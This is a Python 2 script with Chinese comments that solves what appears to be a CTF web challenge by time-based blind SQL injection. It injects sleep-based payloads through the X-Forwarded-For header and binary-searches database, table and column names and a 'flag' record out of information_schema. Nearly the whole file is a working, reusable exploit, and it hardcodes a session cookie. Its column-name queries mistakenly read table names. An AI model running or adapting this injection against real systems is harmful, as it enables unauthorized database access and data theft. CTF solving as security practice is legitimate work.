#!coding:utf-8    相信这句大家都懂的，不解释

#导入需要的python模块httplib，用来模拟提交http请求，详细的用法可见python帮助手册
import socket
import httplib

#导入需要的python模块urllib，用来对数据进行编码
import urllib
#定义请求头

reqheaders={'Host': 'ctf5.shiyanbar.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
#'X-Forwarded-For': "' + (select case when (substring((select database()) from 1 for 1)='a') then sleep(5) else 1 end) and '1'='1",
'Cookie': 'Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1509531600,1509934323,1509938430,1509938436; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*117015%2CnickName%3Azx_6658; PHPSESSID=u9a97c9c0e2vcv4h41dsdl7nr1; Hm_lpvt_34d6f7353ab0915a4c582e4516dffbc3=1509938447',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1'}

payload = "' + (select case when ((%s)>=%d) then sleep(5) else 1 end) and '1'='1"
database_num_in_str = "select count(schema_name) from information_schema.schemata"
database_name_in_str_front = "ascii(substr((select schema_name from information_schema.schemata limit 1 offset "
database_name_in_str_behind = ") from %d for 1))"
database_len_in_str = "select length(schema_name) from information_schema.schemata limit 1 offset %d"

table_num_in_str = "select count(table_name) from information_schema.tables where table_schema='%s'"
table_len_in_str = "select length(table_name) from information_schema.tables where table_schema='%s' limit 1 offset %d"
table_name_in_str_front = "ascii(substr((select table_name from information_schema.tables where table_schema='"
table_name_in_str_middle = "' limit 1 offset "
table_name_in_str_behind = ") from %d for 1))"

column_num_in_str = "select count(column_name) from information_schema.columns where table_schema='%s' and table_name='%s'"
column_len_in_str = "select length(table_name) from information_schema.tables where table_schema='%s' and table_name='%s' limit 1 offset %d"
column_name_in_str_front = "ascii(substr((select table_name from information_schema.tables where table_schema='"
column_name_in_str_middle1 = "' and table_name='"
column_name_in_str_middle2 = "' limit 1 offset "
column_name_in_str_behind = ") from %d for 1))"

record_num_in_str = "select count(%s) from %s"
record_len_in_str = "select length(%s) from %s limit 1 offset %d"
record_name_in_str_front = "ascii(substr((select "
record_name_in_str_middle1 = " from "
record_name_in_str_middle2 = " limit 1 offset "
record_name_in_str_behind = ") from %d for 1))"

def getResult(header):
    #定义post的参数
    reqdata={
    }
    #对请求参数进行编码
    data=urllib.urlencode(reqdata)
    socket.setdefaulttimeout(5)
    #利用httplib库模拟接口请求
    conn=httplib.HTTPConnection('ctf5.shiyanbar.com')
    #提交登录的post请求
    conn.request('POST', '/web/wonderkun/index.php', data, reqheaders)
    #获取服务器的返回
    try:
        res=conn.getresponse()
        return False
    except Exception,e:
        return True
    #打印服务器返回的状态
    #print(res.status)
    #以dictionary形式答应服务器返回的 response header
    #print(res.msg)
    #打印服务器返回请求头中设置的cookie
    #print(res.getheader('Set-Cookie'))

def getLengthResult(payload,in_str,in_len):
    #print(payload % (in_str,in_len))
    tmp_header = reqheaders
    tmp_header['X-Forwarded-For'] = payload % (in_str,in_len)
    return getResult(tmp_header)

def getRealLengthResult(payload,in_str):
    left = 0
    right = 0
    guess = 10
    step = 5
    flag = False
    # print getLengthResult(payload, "c", 22)
    while (1):
        # print guess
        # print getLengthResult(payload, "c", 22)
        if (getLengthResult(payload, in_str, guess) == True):
            # print getLengthResult(payload, "c", 22)
            guess += step
            flag = True
        else:
            # print getLengthResult(payload, "c", 22)
            if (flag):
                left = guess - step
                right = guess
            else:
                right = guess
            # print getLengthResult(payload, "c", 22)
            break
    while left < right - 1:
        mid = (left + right) >> 1
        # print left,right,mid
        # print getLengthResult(payload,in_str,mid)
        # print payload,in_str,mid
        if (getLengthResult(payload, in_str, mid) == True):
            left = mid
        else:
            right = mid
    return left

def getAsciiResult(payload,in_str,in_ascii):
    tmp_header = reqheaders
    tmp_header['X-Forwarded-For'] = payload % (in_str, in_ascii)
    return getResult(tmp_header)

def getRealAsciiResult(payload,in_str,in_len):
    out_str = ""
    for i in range(1,in_len+1):
        tmp_in_str = in_str % (i)
        left = 32
        right = 127
        while left < right - 1:
            mid = (left + right) >> 1
            if (getAsciiResult(payload, tmp_in_str, mid) == True):
                left = mid
            else:
                right = mid
        out_str += chr(left)
        #print chr(left)
    return out_str

#def getDatabase():


#print getResult(reqheaders)

#database_str = database_len_in_str % (0)
#print getRealLengthResult(payload,database_str)
#database_name_in_str = database_name_in_str_front + '0' + database_name_in_str_behind
#print getRealAsciiResult(payload,database_name_in_str,18)

#print database_name_in_str

#print getLengthResult(payload,"select count(schema_name) from information_schema.schemata",3)
#print getRealLengthResult(payload,database_num_in_str)

def database():
    #求数据库个数
    database_num = getRealLengthResult(payload,database_num_in_str)
    print "共有"+str(database_num)+"个数据库"
    #求各个数据库
    for i in range(1,database_num+1):
        print "第"+str(i)+"个数据库:"
        #求数据库名长度
        tmp_database_len_in_str = database_len_in_str % (i-1)
        database_len = getRealLengthResult(payload,tmp_database_len_in_str)
        print "数据库名长度为"+str(database_len)
        tmp_database_name_in_str = database_name_in_str_front + str(i-1) + database_name_in_str_behind
        database_name = getRealAsciiResult(payload,tmp_database_name_in_str,database_len)
        print "数据库名为"+str(database_name)

def table():
    schema_name = "test"
    print "数据库:"+schema_name
    #求数据表个数
    table_num = getRealLengthResult(payload,table_num_in_str % (schema_name))
    print "共有"+str(table_num)+"个数据表"
    #table_num = getRealLengthResult(payload,table_num_in_str % ("web4"))
    #print "共有"+str(table_num)+"个数据表"
    #求各个数据表
    for i in range(1,table_num+1):
        print "第"+str(i)+"个数据表:"
        #求数据表名长度
        tmp_table_len_in_str = table_len_in_str % (schema_name,i-1)
        table_len = getRealLengthResult(payload,tmp_table_len_in_str)
        print "数据表名长度为"+str(table_len)
        tmp_table_name_in_str = table_name_in_str_front + schema_name + table_name_in_str_middle +  str(i-1) + table_name_in_str_behind
        table_name = getRealAsciiResult(payload,tmp_table_name_in_str,table_len)
        print "数据表名为"+str(table_name)

def column():
    schema_name = "web4"
    table_name = "flag"
    print "数据库:"+schema_name
    print "数据表:"+table_name
    #求数据列个数
    column_num = getRealLengthResult(payload,column_num_in_str % (schema_name,table_name))
    print "共有"+str(column_num)+"个数据列"
    #求各个数据列
    for i in range(1,column_num+1):
        print "第"+str(i)+"个数据列:"
        #求数据表名长度
        tmp_column_len_in_str = column_len_in_str % (schema_name,table_name,i-1)
        column_len = getRealLengthResult(payload,tmp_column_len_in_str)
        print "数据列名长度为"+str(column_len)
        tmp_column_name_in_str = column_name_in_str_front + schema_name + column_name_in_str_middle1 + table_name + column_name_in_str_middle2 +  str(i-1) + column_name_in_str_behind
        column_name = getRealAsciiResult(payload,tmp_column_name_in_str,column_len)
        print "数据列名为"+str(column_name)

def record():
    schema_name = "web4"
    table_name = "flag"
    column_name = "flag"
    #求记录个数
    record_num = getRealLengthResult(payload,record_num_in_str % (column_name,schema_name+"."+table_name))
    print "共有"+str(record_num)+"条记录"
    #求各条记录
    for i in range(1,record_num+1):
        print "第"+str(i)+"条记录:"
        #求条记录长度
        tmp_record_len_in_str = record_len_in_str % (column_name,schema_name+"."+table_name,i-1)
        record_len = getRealLengthResult(payload,tmp_record_len_in_str)
        print "记录长度为"+str(record_len)
        tmp_record_name_in_str = record_name_in_str_front + column_name + record_name_in_str_middle1 + schema_name+"."+table_name + record_name_in_str_middle2 +  str(i-1) + record_name_in_str_behind
        print tmp_record_name_in_str
        record_name = getRealAsciiResult(payload,tmp_record_name_in_str,record_len)
        print "记录为"+record_name

#database()
#table()
#column()
record()